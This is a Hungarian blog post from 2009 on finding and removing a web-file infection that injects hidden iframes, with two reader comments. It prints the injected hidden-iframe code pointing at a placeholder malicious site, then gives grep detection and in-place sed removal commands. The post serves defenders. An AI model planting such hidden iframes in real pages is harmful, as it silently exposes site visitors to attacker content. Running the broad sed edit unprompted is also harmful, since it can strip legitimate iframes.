HTML:Iframe fertőzés, vírus, felismerés, javítás

Nyomtatás E-mail
(1 értékelés, átlagosan 5.00 az 5-ből)
Elméleti informatika, programozás
2009. szeptember 02. szerda, 19:01

Sajnos nem régen találkoztam egy HTML:Iframe fertőzéssel, mely igen agresszíven támadta az összes olyan php, asp, htm, html fájlt melyben <html>, <body> tag volt. Valamint megtámadta azokat a fájlokat is melyekben nem volt ugyan ilyen html tag, de a fájlnév tartalmazta az "index" szót. 

 

Maga a fertőzés nagyon könnyen észrevehető, ugyan is a következő kódot szúrja be a fent említett fájlokba:

<iframe src="http://kártékony.oldal" width=147 height=184 style="visibility: hidden"></iframe>

Ahol talál <body> tagot ott rögtön a tag után szúrja be, ahol nem ott egyszerűen a fájl végére illeszti a kódot.

A fertőzés keresése (linux alatt):

find . -iname "*index*" | xargs grep "<iframe"

Ez a rövid script kilistáz minden olyan fájl, melynek a neve tartalmazza az "index" szót, valamint a tartalmában megtalálható az "<iframe" részlet...

A fertőzés eltávolítása (linux alatt):

Szerver oldalon ezt a fertőzést gyorsan orvosolhatjuk, javíthatjuk a következő rövid scripttel:

find . -iname "*index*" -exec sed -i 's/<iframe.*.*iframe>//g' {} \;

rövid magyarázat:

find . -iname "*index*" : megkeresi azokat a fájlokat melyek nevében megtalálhat az alábbi minta: *index* (javasoljuk a *.php használatát, illetve *.htm, *.html, *.asp ...)

 

-exec sed -i 's/<iframe.*.*iframe>//g' {} \; : a find által talált fájlokban megkeresi a "<iframe...bármilyen szöveg...iframe> részt és lecseréli egy szóközre.

Mindenek előtt csináljunk egy biztonsági másolatot mielőtt a scriptet lefuttatnánk!

Sajnos valószínűsíthető, hogy a fertőzést megelőzi egy ftp jelszó lopás is. Ugyanis a totalcommander és egyéb programok az ftp jelszavakat mesterjelszó nélkül is visszafejthetően tárolják, ezt egy esetleges vírus kihasználva már hozzáférést is szerez a vírus gazdájának, aki ezek után egész sok bosszúságot okozhat.

Remélem rövid írásom segít azoknak akik hasonló helyzetbe kerülnek!

 

Hozzászólások  

 
+1 #2 imi 2009-11-29 21:06
Szia

Tudnál nekem erről infot mondani.
HTML:Illiframe-E [Trj]

köszi
Idézet
 
 
+1 #1 iTyu 2009-10-19 19:48
Köszi a tippet, épp joomla alapu oldalnál futottam ebbe bele, és az írásod segitett lerövidíteni az időt amivel eltávolítom a kódokat:-)
Idézet
 

Szóljon hozzá!


Biztonsági kód
Frissítés

 
rss, internet szolgáltatók listája   rss, feedburner, informatika mindig